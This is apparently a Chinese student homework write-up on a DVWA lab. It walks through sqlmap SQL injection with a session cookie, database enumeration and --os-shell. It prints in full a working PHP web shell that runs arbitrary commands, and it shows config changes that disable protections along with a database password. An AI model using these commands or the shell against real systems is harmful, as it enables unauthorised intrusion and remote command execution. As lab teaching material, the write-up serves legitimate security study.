作业三
1. 环境准备
- 在安装好 Python 的环境下运行以下命令安装 sqlmap:
pip install sqlmap
- 安装 Python3 中用于连接 MySQL 服务器的一个库:
pip install pymysql
- sqlmap 直连数据库测试:
sqlmap -d mysql://root:cugjsj123@localhost:3306/login -f --banner
-
参数解释如下:
-d
:直连数据库,后面跟着连接信息。mysql://用户名:密码@主机名:端口/数据库
-f
:打印 DBMS 信息--banner
:打印 banner 信息,准确的版本号
-
如果成功访问,获取的信息如下:
[16:13:01] [INFO] connection to MySQL server 'localhost:3306' established
[16:13:01] [INFO] testing MySQL
[16:13:01] [INFO] resumed: [['1']]...
[16:13:01] [INFO] confirming MySQL
[16:13:01] [INFO] resumed: [['1']]...
[16:13:01] [INFO] the back-end DBMS is MySQL
[16:13:01] [INFO] fetching banner
[16:13:01] [INFO] resumed: [['5.7.19-log']]...
[16:13:01] [INFO] actively fingerprinting MySQL
[16:13:01] [INFO] resumed: [['1']]...
[16:13:01] [INFO] executing MySQL comment injection fingerprint
back-end DBMS: active fingerprint: MySQL >= 5.7
comment injection fingerprint: MySQL 5.7.19
banner parsing fingerprint: MySQL 5.7.19, logging enabled
banner: '5.7.19-log'
[16:13:01] [INFO] connection to MySQL server 'localhost:3306' closed
[*] ending @ 16:13:01 /2021-04-22/
-
SQLmap语法:SQLmap命令选项被归类为目标(Target)选项、请求(Request)选项、优化、注入、检测、技巧(Techniques)、指纹、枚举等。
sqlmap常用参数:
-u
: 指定目标URL,sql注入点–cookie
:当前会话的cookie值-b
:获取数据库类型 检索数据库管理系统的标识
(DBMS:Database Management System 数据库管理系统)–current-db
:获取当前数据库–current-user
:获取当前登录数据库使用的用户
-
遇到
PHP 函数 allow_url_include:已禁用
的问题。- 修改 DVMA 项目下的配置文件:
php.ini
。文件路径为:D:\Dev\phpStudy\PHPTutorial\WWW\DVWA-master\php.ini
。修改内容为:
allow_url_fopen = On allow_url_include = On
- 修改 DVMA 项目下的配置文件:
config.inc.php
。文件路径为:D:\Dev\phpStudy\PHPTutorial\WWW\DVWA-master\config\config.inc.php
。修改内容为:
$_DVWA[ 'recaptcha_public_key' ] = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg'; $_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';
- 通过phpStudy 2018 可知当前使用的 php 版本为 PHP-5.4.45,然后修改对应的
pip.ini
文件。文件路径为:D:\Dev\phpStudy\PHPTutorial\php\php-5.4.45\php.ini
,D:\Dev\phpStudy\PHPTutorial\php\php-5.4.45-nts\php.ini
。两个文件修改内容均为:
allow_url_include=On
- 修改 DVMA 项目下的配置文件:
-
修改 MySQL 数据库的
secure_file_priv
的问题。- 找到配置文件路径
C:\ProgramData\MySQL\MySQL Server 5.7\my.ini
,设置为secure-file-priv=
。 - 重启 MySQL 数据库(在管理员模式下):
net stop mysql57 net start mysql57
- 找到配置文件路径
-
–os-shell 注入不能成功的错误处理的问题。
这里主要涉及到文件读写权限的问题。修改如下:
2. 实践操作
2.1. 获取数据库用户名和数据库名称
使用 sqlmap 之前需要得到当前会话的 cookie 等信息,用来在渗透过程中维持连接状态。cookie 使用其复数形式成为 cookies,指某些网站为了识别用户的身份,进行 session 跟踪,而存储在用户本地终端上的数据,这些数据通常都是加密的。只要是登录过网站,就会在本地产生 cookie,主要用于身份识别,进行 session 跟踪。
2.1.1. 获取 Cookie 信息
-
登录 DVWA,输入用户名和密码,修改 DVWA 安全等级为 low。
-
进入“SQL Injection”部分,输入任意值提交。
http://192.168.10.92/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#
。 -
可以看到我们提交的 22 值后返回的结果,此页面就是我们的目标页面。
-
然后通过浏览器的开发模式获取当前用户的 cookie 值,如下:
security=low;PHPSESSID=8v7i7p3u50qf6c34h32fnrc970
2.1.2. 获取数据库用户名和数据库名称
输入如下命令:
sqlmap -u "http://192.168.10.92/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie="security=low;PHPSESSID=8v7i7p3u50qf6c34h32fnrc970" -b --current-db --current-user
回车后中间会有几个选项,每项含义如下:
it looks like the back-end DBMS is ‘MySQL’. Do you want to skip test payloads specific for other DBMSes? [Y/n]
- 看起来后端 DBMS 是“mysql”。是否要跳过特定于其他DBMS的测试有效负载?
- 已经识别出来mysql数据库,直接跳过,不在扫描其他类型的数据库,输入
Y
for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n]
- 对于其余的测试,是否要包括扩展提供的级别(1)和风险(1)值的“mysql”的所有测试?
- 不需要其他测试,直接输入
n
GET parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N]
- get参数“id”易受攻击。你想继续测试其他人吗(如果有的话)?[y/N]
- 输入
N
最后结果输出如下:
[17:18:57] [INFO] the back-end DBMS is MySQL
[17:18:57] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.4.45, Apache 2.4.23
back-end DBMS: MySQL >= 5.1
banner: '5.7.19-log'
[17:18:57] [INFO] fetching current user
current user: 'mysql@%'
[17:18:57] [INFO] fetching current database
current database: 'dvwa'
[17:18:57] [INFO] fetched data logged to text files under 'C:\Users\Dnks\AppData\Local\sqlmap\output\192.168.10.92'
不难看到,当前数据库的用户名为 mysql
,当前连接的数据库名称为 dvwa
。
2.2. 进入 os-shell
输入以下命令:
sqlmap -u "http://192.168.10.92/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit" --cookie="security=low;PHPSESSID=8v7i7p3u50qf6c34h32fnrc970" --os-shell
网站的绝对路径:
D:/Dev/phpStudy/PHPTutorial/WWW/DVWA-master/hackable
然后进入 os-shell 交互式界面如下:
并且可以在 hackable
目录下多了两个文件:
对这两个文件进行访问,通过上传点进行木马文件的上传。
tmpbsfqd.php 可以看到就是一个标准的用于执行系统命令的后门脚本,可以执行 os-shell 命令,并将结果返回。
// tmpbzhga.php
<?php
$c = $_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
$z = @ini_get('disable_functions');
if (!empty($z)) {
$z = preg_replace('/[, ]+/', ',', $z);
$z = explode(',', $z);
$z = array_map('trim', $z);
} else {
$z = array();
}
$c = $c . " 2>&1\n";
function f($n) {
global $z;
return is_callable($n) and !in_array($n, $z);
}
if (f('system')) {
ob_start();
system($c);
$w = ob_get_contents();
ob_end_clean();
} elseif (f('proc_open')) {
$y = proc_open($c, array(
array(
pipe,
r
) ,
array(
pipe,
w
) ,
array(
pipe,
w
)
) , $t);
$w = NULL;
while (!feof($t[1])) {
$w.= fread($t[1], 512);
}
@proc_close($y);
} elseif (f('shell_exec')) {
$w = shell_exec($c);
} elseif (f('passthru')) {
ob_start();
passthru($c);
$w = ob_get_contents();
ob_end_clean();
} elseif (f('popen')) {
$x = popen($c, r);
$w = NULL;
if (is_resource($x)) {
while (!feof($x)) {
$w.= fread($x, 512);
}
}
@pclose($x);
} elseif (f('exec')) {
$w = array();
exec($c, $w);
$w = join(chr(10) , $w) . chr(10);
} else {
$w = 0;
}
print "<pre>" . $w . "</pre>"; ?>
访问并执行 dir
命令,如下:
原理就是用 into outfile 函数将一个可以用来上传的php 文件写到网站的根目录下,然后利用tmpumpoo.php 上传了一个 tmpbsfqd.php 的文件,tmpbsfqd.php 这个文件可以用来执行系统命令,并且将结果返回出来。
–os-shell
退出后会调用后门脚本删除上传文件后,进行自删除。